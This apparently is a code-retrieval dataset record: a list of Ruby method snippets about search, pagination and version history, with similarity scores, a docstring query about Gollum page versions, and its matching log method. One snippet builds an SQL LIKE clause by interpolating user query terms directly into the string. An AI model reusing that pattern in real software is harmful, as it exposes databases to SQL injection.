"def search(\n query, case_sensitive: false, whole_sentence: true, limit: 10, skip: 0\n )\n query = query.to_s.strip\n query.replace('\"' + query + '\"') if whole_sentence\n\n # Sort based on the most search hits (aka \"textScore\").\n # We use the sort_proj hash as both a sort and a projection below.\n sort_proj = { score: { :$meta => 'textScore' } }\n query = { :$text => {\n :$search => query,\n :$caseSensitive => case_sensitive\n } }\n\n results = retrieve(DOCUMENTS_COLLECTION, query,\n sort: sort_proj, projection: sort_proj,\n limit: limit, skip: skip)\n\n results.map do |mongo_doc|\n doc = Wgit::Document.new(mongo_doc)\n yield(doc) if block_given?\n doc\n end\n end",
"def process_query\n @results = str_to_obj.flatten.collect do |url|\n doc = Mechanize.new.get(url)\n els = doc.search(CGI.unescape(@xpath))\n els.map { |el| [el.text] }\n end\n @results = @results.flatten.map { |r| [r] }\n end",
"def search\n words = params[:query].split(/\\s+/).reject(&:blank?)\n url = nil\n\n case words.size\n when 1\n if words.first.starts_with?('@')\n user = find_users(words.first[1..-1]).only\n url = user_url(user) if user\n else\n project = find_projects(words[0]).only.try!(:sluggable)\n url = project_url(project) if project\n end\n when 2\n project = find_projects(words[0]).only.try!(:sluggable)\n env = find_environments(project, words[1]).only if project\n url = project_environment_bugs_url(project, env) if env\n when 3\n project = find_projects(words[0]).only.try!(:sluggable)\n env = find_environments(project, words[1]).only if project\n bug = env.bugs.find_by_number(words[2].to_i) if env\n url = project_environment_bug_url(project, env, bug) if bug\n when 4\n project = find_projects(words[0]).only.try!(:sluggable)\n env = find_environments(project, words[1]).only if project\n bug = env.bugs.find_by_number(words[2].to_i) if env\n occurrence = bug.occurrences.find_by_number(words[3].to_i) if bug\n url = project_environment_bug_occurrence_url(project, env, bug, occurrence) if occurrence\n end\n\n url ? render(text: url) : head(:ok)\n end",
"def search_results\n pages = Alchemy::PgSearch.config[:page_search_scope].pages\n # Since CanCan cannot (oh the irony) merge +accessible_by+ scope with pg_search scopes,\n # we need to fake a page object here\n if can? :show, Alchemy::Page.new(restricted: true, public_on: Date.current)\n pages.full_text_search(params[:query])\n else\n pages.not_restricted.full_text_search(params[:query])\n end\n end",
"def searches\n search_objects.map{ |s| s.query }\n end",
"def chapters_matching(query)\n results = []\n\n return results if !query || query.empty?\n\n each_chapter do |number, name, contents|\n if contents.include?(query)\n chapter_hsh = { name: name, meta: [] }\n results << chapter_hsh \n end\n\n each_paragraph(contents) do |id, paragraph|\n if paragraph.include?(query)\n chapter_hsh[:meta] << {number: number, id: id, paragraph: paragraph}\n end\n end\n end\n\n results\nend",
"def matches(query)\n @matches ||= search(query)\n end",
"def get_all_pages(resource, path, id, query = {})\n items = []\n offset = 0\n xid = make_transaction_id\n\n loop do\n page = request(\n resource: resource,\n path: path,\n params: query.merge(start_index: offset),\n transaction_id: xid,\n resource_id: id,\n )\n new_items = page[\"items\"]\n total = page[\"total_results\"] || new_items.count\n\n items += new_items\n offset += new_items.count\n\n break if items.count >= total\n end\n\n items\n end",
"def find(params)\n query = params[:query].downcase\n limit = params[:limit]\n limit = limit.to_i unless limit.nil?\n results = find_begin_matches(query, limit, params)\n end",
"def search_results(load: true)\n Pseud.search(body: search_body, load: load)\n end",
"def search(query, page = 1, per_page = 10, orientation = nil)\n params = {\n query: query,\n page: page,\n per_page: per_page,\n orientation: orientation\n }.select { |_k, v| v }\n Unsplash::Search.search(\"/search/photos\", self, params)\n end",
"def index\n @titles = Title.search(params[:search], params[:page])\n end",
"def search(user, query, collection, wiki)\n end",
"def search(query, message)\n log \" Scanning for #{message}\"\n messages = @imap.search query\n log \" Found #{messages.length} messages\"\n return messages\n end",
"def search\n @articles = Article.search(params[:query], params[:page])\n end",
"def search(search_string)\n\n # Convert to a get-paramenter\n search_string = CGI.escapeHTML search_string\n search_string.gsub!(\" \", \" \")\n\n results = []\n \n return results\n end",
"def search(q, opts = {})\n data, _status_code, _headers = search_with_http_info(q, opts)\n data\n end",
"def scan_pages(num_pages, url_pattern)\n returning([]) do |mentions|\n current_page = nil\n num_pages.times do |page_number|\n current_page = get_next_page(current_page)\n @log.info \"Scanning #{current_page.uri} for #{url_pattern}\"\n current_page.search('//tr[td[@class=\"title\"]]').each do |entry|\n link_anchor = entry.xpath('td[3]/a').first\n comment_anchor = entry.xpath(\"following-sibling::tr[1]/td[2]/a[2]\").first\n link = nil\n if(link_anchor)\n link = link_anchor['href']\n end\n if url_pattern === link && comment_anchor\n comment_url = comment_anchor['href']\n mentions << Preen::Mention.new(link, comment_url)\n end\n end\n end\n end\n end",
"def search_data(query, params = {})\n return [] if query.blank?\n meta_keys = %w(email first_name last_name)\n\n meta_key = build_meta_search_query(meta_keys)\n meta_query = {meta_key => query}\n\n paging_info = parse_paging_options(params)\n \n return self.search(meta_query).paginate(:page => paging_info.page_id,\n :per_page => paging_info.page_size,\n :order => paging_info.sort_string)\n end",
"def search\n\t\t@query = params[:query]\n\t\t@loanaccounts = Loanaccount.search @query, :page => params[:page], :per_page => 10\n\tend",
"def search query, num, offset\n threads = perform :search, :args => [query, num, offset] do |resp|\n resp.map { |t| ThreadSummary.new t }\n end\n end",
"def index\n query = params[\"query\"]\n unless query.nil? || query == \"\" \n @tweets = Twitter.basic_search(query)\n @wikipedia = Wikipedia.basic_search(query)\n end\n end",
"def search(query, page = 1, per_page = 10)\n params = {\n query: query,\n page: page,\n per_page: per_page\n }\n Unsplash::Search.search(\"/search/collections\", self, params)\n end",
"def search(query, options = {}); end",
"def chapters_matching(query)\n results = []\n return results unless query\n\n each_chapter do |number, name, contents|\n matches = {}\n contents.split(\"\\n\\n\").each_with_index do |paragraph, index|\n matches[index] = paragraph if paragraph.include?(query)\n end\n results << {number: number, name: name, paragraphs: matches} if matches.any?\n end\n results\nend",
"def dianping_search_shops(keywords,limit_query_pages)\n shops = []\n query_link = \"#{$DIANPING_SHOP_SEARCH_PATH_START_PAGE}#{URI.escape(keywords)}\"\n pages = DianpingPageParser.number_of_pages(query_link)\n \n puts pages\n \n max_page_to_crawl = (limit_query_pages.to_int < pages) ? limit_query_pages.to_int : pages\n \n (1..max_page_to_crawl).each { | page | shops << DianpingPageParser.shops_in_page(File.join(query_link, \"p#{page}\")) }\n \n return shops\nend",
"def search\n query = params[:q]\n pizarras = Pizarra.find_aviso_contenido(query)\n @pizarras = pizarras.paginate :page => params[:page],:per_page => 2\n end",
"def index\n task_searches = TaskSearch.viewable_searches(current_user)\n task_searches = task_searches.where(\"title like ?\", \"%#{params[:q]}%\") if params[:q]\n @task_searches = page(task_searches.order(params[:order] || :title))\n end",
"def extract_pages(root, pages)\n root.search('div[@class*=pagination]') do |p|\n p.search('li') do |entry|\n a = entry.at('a')\n if a\n pageinated_url = \"#{@base}#{a.attributes['href']}\"\n \n pageX = Nokogiri::HTML(getOrCache(File.join(@lanyrd_tmp, \"search-#{@term}-#{a.inner_text}.html\"), pageinated_url))\n pages << pageX\n end\n end\n end\n end",
"def search\n # Query\n @q = params[:q]\n @query = @q.split(/\\s(?=(?:[^\"]|\"[^\"]*\")*$)/).map do |i|\n (i =~ /^(?:([A-Za-z_]+):)?\"?(.*?)\"?$/) ? [$2, $1] : [i, nil]\n end\n # Results\n return if (m = @project.miga).nil? or\n (r = m.result(:project_stats)).nil? or\n (db_file = r.file_path(:metadata_index)).nil?\n db = SQLite3::Database.new db_file\n @results = nil\n @query.each do |q|\n q[0] = q[0].downcase.gsub(/[^A-Za-z0-9\\-]+/, \" \")\n res = db.execute(\"select distinct(name) from metadata \" +\n \"where value like ? #{\"and field=?\" unless q[1].nil?}\",\n [\"% #{q[0]} %\"] + (q[1].nil? ? [] : [q[1]])).flatten\n @results.nil? ? @results=res :\n @results.select!{ |i| res.include? i }\n end\n reference_datasets\n end",
"def search\n terms = params[:query].split\n query = terms.map { |term| \"title like '%#{term}%' OR body like '%#{term}%' OR tags like '%#{term}%'\" }.join(\" OR \")\n \n @posts = Post.where(query).order(\"created_at DESC\").first(10)\n end",
"def search(query, options={})\n params = { :query => query, :lang => @query_options[:lang], :limit => @query_options[:limit] }.merge(options)\n response = get(surl('search'), params, format: :json)\n response['result']\n end",
"def search(query)\n params = { key: self.api_key, cx: self.search_engine_id, q: query }\n uri = URI(BASE_URL)\n uri.query = URI.encode_www_form(params)\n request = build_request(uri)\n\n response = self.execute_search(uri, request)\n format_response(response)\n end",
"def search(phrase, limit=5, description=true, display=true)\n search = phrase.split.join(\"_\")\n endpoint = \"https://en.wikipedia.org/w/api.php?action=opensearch&format=json&search=#{search}&limit=#{limit}\"\n hash = get(endpoint)\n results = hash[1]\n descriptions = hash[2]\n if display\n puts \"Displaying #{results.length} results:\"\n for i in 0...results.length\n if description\n if ! descriptions[i].empty?\n puts \"\\n'#{results[i]}' : #{descriptions[i]}\"\n else\n puts \"\\n'#{results[i]}' : No Immediate Description Available. Try `wik -d #{results[i]}`\"\n end\n else\n puts \"\\n'#{results[i]}'\"\n end\n end\n end\n return hash\n end",
"def search\n\t\t@query = params[:query]\n\t\t@hospitals = Hospital.search @query, :page => params[:page], :per_page => 10\n\tend",
"def search\n @documents = api.form(\"everything\")\n .query(%([[:d = fulltext(document, \"#{params[:q]}\")]]))\n .page(params[:page] ? params[:page] : \"1\")\n .page_size(params[:page_size] ? params[:page_size] : \"20\")\n .submit(ref)\n end",
"def search_all(string, options = {})\n Options.set(options) unless Options.initialized?\n opts = Options.options.title_params.merge(q: string)\n \n result = Imdb.get(Options.options.anonymize? ? Options.options.anonymize_uri + Options.options.xml_find_uri : Options.options.xml_find_uri , query: opts)# does not work. Wrong content type\n Object.new(JSON.parse(result))\n \n end",
"def search(text, hours_ago, p)\n data = []\n file_and_range = calculate_files_and_range(hours_ago, p)\n return unless file_and_range\n files = file_and_range[:files]\n range_start = file_and_range[:range_start]\n range_end = file_and_range[:range_end]\n data = get_search_results(data, files, range_start, range_end, text)\n if file_and_range[:filter] == true\n filter_search_result(data, file_and_range[:start_seconds], file_and_range[:end_seconds])\n end\n\n p += 1\n\n while data.empty? && range_end < files.length\n range_start = PAGE_SIZE * p\n range_end = range_start + (PAGE_SIZE - 1)\n data = get_search_results(data, files, range_start, range_end, text)\n p += 1\n end\n\n return { data: data, page: p - 1, has_more: range_end < files.length, count: data.length }\n end",
"def search(query, opts = {})\n results_to_hash(call(ft_search(query, opts)), opts)\n end",
"def parse_search(q)\n # TODO continue\n end",
"def match(params)\n query = params[:query].downcase\n limit = params[:limit]\n limit = limit.to_i unless limit.nil?\n results = find_exact_matches(query, limit, params)\n end",
"def index\n if params[:query].blank?\n @authors = Author.in_conference(current_conference).\n paginate(:page => params[:page], :per_page => 30)\n else\n tokens = params[:query].split(/ | /)\n @authors = Author.in_conference(current_conference).\n paginate(:page => params[:page], :per_page => 30)\n tokens.each do |t|\n @authors = @authors.where(\"jp_name LIKE ? OR en_name LIKE ?\", \"%#{t}%\", \"%#{t}%\")\n end\n end\n\n respond_to do |format|\n format.html # index.html.erb\n end\n end",
"def searches\n Boundary.get(@url)\n end",
"def query(needle)\n rx = Regexp.new(needle, Regexp::IGNORECASE) # escaping?\n found = @index.find_all do |term, project|\n rx.match(term)\n end\n results = found.map do |term, project|\n # Yast::Logger#log -> Yast/Logger:log\n path = term.gsub(/::/, \"/\").sub(\"#\", \":\")\n # Term:empty? -> Term%3Aempty%3F\n path = Rack::Utils.escape_path(path)\n Result.new(term, \"http://www.rubydoc.info/#{project}/master/#{path}\")\n end\n results.sort_by(&:text)\n end",
"def browse(query: nil, page: 0, pages: 0, hits: [])\n return hits unless keep_browsing?(page, pages)\n\n response = post(query)\n pages = response['nbPages']\n hits += response['hits']\n page += 1\n\n Rails.logger.debug \"Browsing page #{page}/#{pages}\"\n\n offset_query_page!(query, page)\n\n browse(query: query, page: page, pages: pages, hits: hits)\n end",
"def search_in_resource(frame_id:, url:, query:, case_sensitive: nil, is_regex: nil)\n {\n method: \"Page.searchInResource\",\n params: { frameId: frame_id, url: url, query: query, caseSensitive: case_sensitive, isRegex: is_regex }.compact\n }\n end",
"def search(search_string)\n queue=search_string.split '/'\n current_term=queue.shift\n return [self] if current_term.nil? #If for some reason nothing is given in the search string\n matches=[]\n if current_term=='*'\n\t\t\t\tnew_matches=self.children.values\n\t\t\t\tnew_matches.sort! {|a, b| a.node_name <=> b.node_name} rescue nil #is this evil?\n matches.concat new_matches\n elsif current_term[/\\d+/]==current_term\n matches << @children[current_term.to_i]\n else\n matches << @children[current_term.to_sym]\n end\n if queue.empty?\n return matches.flatten.compact\n else\n return matches.collect {|match| match.search(queue.join('/'))}.flatten.compact\n end\n end",
"def search(q)\n url = Boundary.api_url(@auth)+'/search'\n results = Array.new\n results = Boundary.get(url+\"?q=#{q}\")\n return nil if results.empty? \n case results['header']['hits'].to_i\n when 0\n return nil\n else\n return results['entities']\n end\n end",
"def list_wiki_pages\n results = WikiPage.joins(wiki: :project)\n .where(\"CONCAT_WS(':', `projects`.`name`, `wiki_pages`.`title`) LIKE ? \", \"%#{params[:term]}%\")\n .select('projects.name, wiki_pages.title')\n .limit(10)\n\n render :json => results.map { |x| \"#{x.name}:#{x.title}\" }\n end"
] |
[
"0.66863966",
"0.6539015",
"0.64871925",
"0.6456954",
"0.6350453",
"0.62811387",
"0.60977465",
"0.60683525",
"0.60313946",
"0.5919283",
"0.5890094",
"0.5887567",
"0.5876648",
"0.58297634",
"0.57971835",
"0.57736754",
"0.5765854",
"0.5760964",
"0.57380176",
"0.57194316",
"0.57146484",
"0.56990373",
"0.5679135",
"0.56722045",
"0.56690586",
"0.5651304",
"0.56408584",
"0.56316257",
"0.56268775",
"0.56210566",
"0.5613457",
"0.55791557",
"0.5565917",
"0.5554956",
"0.5553526",
"0.5548733",
"0.5540773",
"0.5537718",
"0.5528284",
"0.5519822",
"0.551849",
"0.5496912",
"0.5494414",
"0.547613",
"0.54749346",
"0.54557204",
"0.54522955",
"0.5448132",
"0.5446734",
"0.5440822",
"0.54322094",
"0.54202926",
"0.54170585",
"0.53959405",
"0.5393034",
"0.5382895",
"0.53798294",
"0.53752863",
"0.5365917",
"0.5354318",
"0.5352324",
"0.53483117",
"0.53463143",
"0.53428787",
"0.53405017",
"0.5334031",
"0.53299874",
"0.5323085",
"0.5321398",
"0.5320593",
"0.53086585",
"0.530722",
"0.5306475",
"0.52976567",
"0.5290534",
"0.5289039",
"0.52887577",
"0.52887404",
"0.5287216",
"0.52808636",
"0.5276422",
"0.52732587",
"0.5258714",
"0.5254843",
"0.5249539",
"0.52408874",
"0.5240731",
"0.52388954",
"0.5237296",
"0.5237066",
"0.5235704",
"0.5232499",
"0.5231411",
"0.52294105",
"0.5222156",
"0.5199142",
"0.51895595",
"0.51875544",
"0.5187015",
"0.5185785"
] |
0.7318667
|
0
|
Public: All of the versions that have touched the Page. options The options Hash: :page_num The Integer page number (default: 1). :per_page The Integer max count of items to return. Returns an Array of Gollum::Git::Commit.
|
def log(options = {})
@repo.log(@ref, nil, log_pagination_options(options))
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def versions\n self.git.commits\n end",
"def versions\n return @_versions ||= Regulate::Git::Interface.commits(id)\n end",
"def versions\n authorize @page\n @versions = @page.versions\n status = params[:by_status] && Page.statuses[params[:by_status]]\n if status\n @versions = @versions.where_object(status: status)\n end\n @versions = @versions.reorder(created_at: :desc, id: :desc).page params[:page]\n end",
"def latest_changes(options={})\n options[:max_count] = 10 unless options[:max_count]\n @repo.log(@ref, page_file_dir, options)\n end",
"def versions\n authorize @page\n @versions = @page.versions\n status = params[:by_status] && Page.statuses[params[:by_status]]\n if status\n @versions = @versions.where_object(status: status)\n end\n @versions = @versions.reorder(created_at: :desc, id: :desc).page params[:page]\n end",
"def versions(options = {})\n Version.visible.\n where(project_statement(false)).# bypass overridden method\n where(options[:conditions]).\n includes(:project).\n references(:project).\n to_a\n rescue ::ActiveRecord::StatementInvalid => e\n raise StatementInvalid.new(e.message)\n end",
"def list(options = {})\n get_path(\n path_to_list,\n options,\n get_parser(:collection, Tinybucket::Model::Commit)\n )\n end",
"def revisions\n active_revisions = []\n begin\n hash = CouchSpring.get( \"#{uri}?revs_info=true\" )\n rescue\n return active_revisions\n end \n hash['_revs_info'].each do |rev_hash|\n active_revisions << rev_hash['rev'] if ['disk', 'available'].include?( rev_hash['status'] )\n end\n active_revisions \n end",
"def revisions(from_version = 1)\n audits = self.audits.from_version(from_version)\n return [] if audits.empty?\n revisions = []\n audits.each do |audit|\n revisions << audit.revision\n end\n revisions\n end",
"def versions\n versions = Backlogjp.base._command \"getVersions\", self.id\n versions.map {|hash| Version.new(hash)}\n end",
"def revisions\n raise NotImplementedError\n end",
"def revisions(from_version = 1)\n audits = self.audits.from_version(from_version)\n return [] if audits.empty?\n revisions = []\n audits.each do |audit|\n revisions << audit.revision\n end\n revisions\n end",
"def revisions\n active_revisions = []\n begin\n hash = CouchDB.get( \"#{uri}?revs_info=true\" )\n rescue\n return active_revisions\n end \n hash['_revs_info'].each do |rev_hash|\n active_revisions << rev_hash['rev'] if ['disk', 'available'].include?( rev_hash['status'] )\n end\n active_revisions \n end",
"def revisions\n @revisions ||= RevisionCollection.new(self)\n end",
"def all_changes_in_revisions array\n raise NotImplementedError.new('Define method :all_changes_in_revisions on your source control.')\n end",
"def commits\n if !@commits\n @commits = []\n x = 0\n loop do\n x += 1\n response = get(\"/commits/list/#{repo.owner.login}/#{repo.name}/#{name}?page=#{x}\")\n break unless response.code == 200\n @commits += response['commits'].map { |c| Commit.new(connection, c.merge(:repo => self)) }\n end\n end\n @commits\n end",
"def page_diffs(title)\n title = normalize_title(title)\n list = []\n \n store.commits(100).each do |commit|\n diffs = commit.diffs(\"#{title}.md\")\n list << [commit, diffs] unless diffs.empty?\n end\n\n list\n end",
"def history\n @vcs.history\n end",
"def get_all_commits(repo)\n all_commits = []\n page = 0\n page_size = 10\n commits = repo.commits('master', page_size, page)\n while commits.length > 0\n all_commits = all_commits + commits\n page = page + page_size\n commits = repo.commits('master', page_size, page)\n end\n return all_commits\nend",
"def versions\n @page = Comatose::Page.find_is_snippet params[:id]\n @version_num = (params[:version] || @page.versions.length).to_i\n @version = @page.find_version(@version_num)\n end",
"def getVersions\r\n\t\t\t\t\treturn @versions\r\n\t\t\t\tend",
"def pull_request_commits(repo, number, options = {})\n paginate \"#{Repository.path repo}/pulls/#{number}/commits\", options\n end",
"def revisions(from_version = 1)\n audit_changes(from_version) {|attributes| revision_with(attributes) }\n end",
"def versions\n @page = ComatosePage.find params[:id]\n @version_num = (params[:version] || @page.versions.length).to_i\n @version = @page.find_version(@version_num)\n end",
"def page_versions\n list_versions_for(latest_version_of(@item.path))\n end",
"def get_all_versions()\n return []\n end",
"def list(options = {})\n get_path(\n path_to_list,\n options,\n Tinybucket::Parser::CommitsParser\n )\n end",
"def get_all_versions\n []\n end",
"def pull_commits(repo, pull_number, options = {})\n paginate \"#{Repository.path repo}/pulls/#{pull_number}/commits\", options\n end",
"def versions\n Version.all\n end",
"def versions\n link = data.xpath(\"at:link[@rel = 'version-history']/@href\", NS::COMBINED)\n if link = link.first\n Collection.new(repository, link) # Problem: does not in fact use self\n else\n # The document is not versionable\n [self]\n end\n end",
"def revlist\n (`git rev-list --all`).split(\"\\n\")\n end",
"def all_versions\n [document.version, *all_preceding_versions]\n end",
"def get_all_commits_in_repo\n @branches.collect(&:commits).flatten.sort_by { |k| k.authored_date }.reverse\n end",
"def listversions(project=self.project)\n get('listversions.json', project: project)['versions']\n end",
"def commits\n @commits ||= data[:commits].map { |commit| project.commit(commit[:id]) }.reverse\n end",
"def list\n if today?\n commits = commits_today(repo, branch)\n elsif yesterday?\n commits = commits_yesterday(repo, branch)\n elsif this_week?\n commits = commits_this_week(repo, branch)\n elsif last_week?\n commits = commits_last_week(repo, branch)\n elsif this_month?\n commits = commits_this_month(repo, branch)\n elsif after && before\n commits = commits_between(repo, branch, after, before)\n elsif after\n commits = commits_after(repo, branch, after)\n elsif before\n commits = commits_before(repo, branch, before)\n else\n commits = all_commits(repo, branch)\n end\n\n write_json(commits.map(&:to_h))\n end",
"def versions\n @versions ||= run( :versions, '--bare' ).lines.map( &:chomp )\n end",
"def revisions(from_version = 1)\n return [] unless audits.from_version(from_version).exists?\n\n all_audits = audits.select([:audited_changes, :version, :action]).to_a\n targeted_audits = all_audits.select { |audit| audit.version >= from_version }\n\n previous_attributes = reconstruct_attributes(all_audits - targeted_audits)\n\n targeted_audits.map do |audit|\n previous_attributes.merge!(audit.new_attributes)\n revision_with(previous_attributes.merge!(version: audit.version))\n end\n end",
"def GetCommitInfos\n infos = ::Storage::ListCommitInfo.new()\n @sint.getCommitInfos(infos)\n ret = []\n infos.each do |info|\n m = {\n :destructive => info.destructive,\n :text => info.text\n }\n\tret.push(m)\n end\n ret\n end",
"def versions\n JSON.parse(RestClient.get(\"#{VERSION_URL}/.json\", self.default_headers))[\"versions\"].collect { |v| v[\"id\"] }.uniq\n end",
"def recent_commits\n\n return \"\" if !installation_selected?\n\n installation_id = session[:selected_installation]\n # installation_token = get_app_token(installation_id)\n\n @client = Octokit::Client.new(:access_token => session[:access_token])\n response = @client.find_installation_repositories_for_user(installation_id)\n\n commits = response[:repositories]\n commits.take 15\nend",
"def revisions(path, identifier_from, identifier_to, options = {}, &block)\n if block_given?\n raise 'Can' 't read chunks with reverse option' if options[:reverse]\n revisions_in_chunks(path, identifier_from, identifier_to, options, &block)\n else\n revs = []\n revisions_in_chunks(path, identifier_from, identifier_to, options) do |chunk|\n revs += chunk.values\n end\n options[:reverse] ? revs.reverse : revs\n end\n rescue Redmine::Scm::Adapters::CommandFailed => e\n err_msg = \"git log error: #{e.message}\"\n logger.error(err_msg)\n if block_given?\n raise Redmine::Scm::Adapters::CommandFailed, err_msg\n else\n revs\n end\n end",
"def list_revisions request_pb, options = nil\n raise ::ArgumentError, \"request must be provided\" if request_pb.nil?\n\n verb, uri, query_string_params, body = ServiceStub.transcode_list_revisions_request request_pb\n query_string_params = if query_string_params.any?\n query_string_params.to_h { |p| p.split \"=\", 2 }\n else\n {}\n end\n\n response = @client_stub.make_http_request(\n verb,\n uri: uri,\n body: body || \"\",\n params: query_string_params,\n options: options\n )\n operation = ::Gapic::Rest::TransportOperation.new response\n result = ::Google::Cloud::Config::V1::ListRevisionsResponse.decode_json response.body, ignore_unknown_fields: true\n\n yield result, operation if block_given?\n result\n end",
"def revisions(location, limit = 1000)\n @client.revisions(location, limit)\n rescue\n puts $! if @@verbose\n nil\n end",
"def get_changes(opts = {})\n data, _status_code, _headers = get_changes_with_http_info(opts)\n data\n end",
"def fetch_commit_hash_list()\n `git rev-list --all --reverse`.strip.split(/\\n/)\nend",
"def recent_commit_shas count\n array_output_of(\"git rev-list HEAD -n #{count}\").reverse\nend",
"def versions\n self.apar_defect_version_maps.map { |m| m.version }\n end",
"def index\n if params[:ref_name]\n if ref = @repository.branches.where(name: params[:ref_name]).first\n @branch = ref\n elsif ref = @repository.tags.where(name: params[:ref_name]).first!\n @tag = ref\n end\n else\n @branch = ref = @repository.default_branch\n end\n\n commits_page = (params[:page] || 1).to_i\n commits_page = 1 if commits_page < 1\n parent_commits = ref.commit.walk_parents((commits_page - 1) * 20, 21)\n @commits = parent_commits[0, 20]\n\n @next_page = parent_commits[20] ? commits_page + 1 : nil\n @previous_page = (commits_page > 1) ? commits_page - 1 : nil\n\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render xml: @commits }\n end\n end",
"def versions_for_select(unit_member)\n static_options = [['Most Recent','']]\n dynamic_options = package_branch.packages.map {|p| [p.version, p.id]}\n static_options + dynamic_options\n end",
"def find_all(repo, options = {})\n wrapped_gitaly_errors do\n Gitlab::GitalyClient::CommitService.new(repo).find_all_commits(options)\n end\n end",
"def array_of_revisions\n \n start_date = Date.parse(@sprint_start_date)\n end_date = Date.parse(@sprint_end_date)\n\n completed_reviews_ids = []\n\n get_reviews.each do |item|\n creation_date = Date.parse(item[:creation_date]) rescue nil\n if (item[:phase] == \"Completed\") && (creation_date && (creation_date >= start_date && creation_date <= end_date)) \n completed_reviews_ids << item[:revision]\n end \n end\n completed_reviews_ids\n end",
"def versions_for_select(unit_member)\n static_options = [['Most Recent','']]\n pb = package_branch\n pb.bind_to_scope(unit_member)\n dynamic_options = pb.packages.map {|p| [p.version, p.id]}\n static_options + dynamic_options\n end",
"def revisions(path, rev_limit=1000)\n\n params = {\n 'rev_limit' => rev_limit.to_s\n }\n\n response = @session.do_get build_url(\"/revisions/#{@root}#{format_path(path)}\", params)\n parse_response(response)\n\n end",
"def load_ref_commits(ref)\n commits = []\n page = 1\n begin\n loop do\n commits += Octokit.commits(@path, ref, :page => page)\n page += 1\n end\n rescue Octokit::NotFound, Faraday::Error::ResourceNotFound\n end\n commits\n end",
"def commits(project, options={})\n get(\"/projects/#{project}/repository/commits\", :query => options)\n end",
"def commits(project, options={})\n get(\"/projects/#{project}/repository/commits\", :query => options)\n end",
"def commits(limit = 10, start = head)\n entries = []\n current = start\n\n while current and entries.size < limit\n entries << current\n current = get(current.parent.first)\n end\n\n entries\n end",
"def versions\n @pod_dir.children.map do |v|\n basename = v.basename.to_s\n Version.new(basename) if v.directory? && basename[0,1] != '.'\n end.compact.sort.reverse\n end",
"def all_commits\n `git --git-dir=#{git_dir} log --all --pretty='%H'`.split(/\\n/).uniq\n end",
"def committees(options = {})\n get('/committees', options)\n end",
"def versions\n # TODO make this a collection proxy, only loading the first, then the\n # rest as needed during iteration (possibly in chunks)\n return nil if @archived\n @versions ||= [self].concat(CloudKit.storage_adapter.query { |q|\n q.add_condition('resource_reference', :eql, @resource_reference)\n q.add_condition('archived', :eql, 'true')\n }.reverse.map { |hash| self.class.build_from_hash(hash) })\n end",
"def versions\n @versions ||= Versions.new(self)\n end",
"def versions\n @versions ||= Versions.new(self)\n end",
"def changeset\n @changeset ||= git_diff.map do |diff_file|\n file_diff = FileDiff.new(diff_file)\n file_diff unless FormattingChecker.pure_formatting?(file_diff)\n end.compact\n end",
"def most_recent_github_commits\n path = @path_prefix + \"/commits\"\n json_response = make_request(path, true, nil)\n if json_response.is_a?(Hash) && json_response.key?(:error)\n puts \"Failed request, returning empty array for git commits\"\n return []\n end\n json_response.collect { |commit| commit['sha'] }\n end",
"def compare(repo, start, endd, options = {})\n paginate \"#{Repository.path repo}/compare/#{start}...#{endd}\", options do |data, last_response|\n data.commits.concat last_response.data.commits\n end\n end",
"def posts\n return @posts if defined? @posts\n\n diffable_files = `git diff -z --name-only --diff-filter=ACRTUXB origin/master -- content/changes/`.split(\"\\0\")\n\n @posts = diffable_files.select do |filename|\n ext = File.extname(filename)\n ext == \".md\" || ext == \".html\"\n end\nend",
"def index\n @active_page = :versions\n\n respond_to do |format|\n format.html\n format.xml do\n find_versions\n @versions_count = @versions.size\n @versions = @versions[ @page_limit * (@current_page - 1), @page_limit ].to_a\n render :action => :index, :layout => false\n end\n end\n end",
"def history\n \treturn self.study_versions.to_a.sort_by{|x| x.version}\n end",
"def changes\n if @changes\n @changes.dup\n else\n []\n end\n end",
"def history\n RailsCommits::Request.new('repos/rails/rails/commits', @token, @count, @author).run\n end",
"def revisions(path, opts = {})\n optional_inputs = opts\n input_json = {\n path: path,\n path_revision: optional_inputs[:path_revision],\n }\n response = @session.do_rpc_endpoint(\"/#{ @namespace }/revisions\", input_json)\n Dropbox::API::RevisionHistory.from_json(Dropbox::API::HTTP.parse_rpc_response(response))\n end",
"def commits(token = nil, direction = \"before\", min_commit_date)\n result = MetaRepo.instance.find_commits(\n :repos => repos_list,\n :branches => branches_list,\n :authors => authors_list,\n :paths => paths_list,\n :token => token,\n :direction => direction,\n :commit_filter_proc => self.unapproved_only ?\n self.method(:select_unapproved_commits).to_proc :\n self.method(:select_commits_currently_in_db).to_proc,\n :after => min_commit_date,\n :limit => PAGE_SIZE)\n [result[:commits], result[:tokens]]\n end",
"def commits!\n response = @client.get_json(\"#{path}/commits\")\n @commits = response.map do |commit| \n Commit.new(client: @client, user: @user, repo: self, sha: commit['sha']) \n end\n @commits\n end",
"def all_preceding_versions\n if previous_version = document.previous_version\n [previous_version, *self[previous_version].versions.all_preceding_versions]\n else\n []\n end\n end",
"def get_commits\n # get the last build number\n build_tag = last_build_git_data\n @last_build_number = build_tag[:build_number]\n if @last_build_number == 0\n puts \"unable to get last build number using git describe. It returned #{build_tag[:describe]} but \\\nexpecting something that has letters followed by numbers. Unable to continue\"\n exit 1\n end\n\n # Jenkins will tag the build before running the deploy, @last_build_number - 1 will get the previous built version to get the diff.\n # However, if prev_build is set, use that instead. \n from_build = (@prev_build.nil?) ? (@last_build_number.to_i - 1) : @prev_build.to_i\n \n # now fetch all commits for anything between the current revision and the last build number\n last_build_tag = \"#{build_tag[:tag_name]}#{from_build}\"\n # puts \"looking for commits between #{last_build_tag} and #{@build_revision}\"\n \n commits = @repo.commits_between(last_build_tag, @build_revision)\n if (commits && commits.length > 0)\n load_tasks(commits)\n else\n puts \"No commits logs (other than possibly merges) were found between tag #{last_build_tag} and build revision #{build_revision}. \\n\nNothing to report on, exiting. \"\n exit 1\n end\n end",
"def get_revisions_for(model_file)\n versions = model_file.versions\n dropbox_revisions = dropbox_client.revisions(model_file.path)\n\n dropbox_revisions.map do |revision|\n version = versions.find_by_revision_number(revision[\"rev\"])\n { id: version ? version.id : revision[\"rev\"],\n modified: version ? version.revision_date : revision[\"modified\"],\n version: version,\n details: version ? version.details : \"\"\n }\n end\n\n end",
"def versions\n @versions ||= json_dir_names.sort_by { |v| Gem::Version.new(v) }.reverse!\n end",
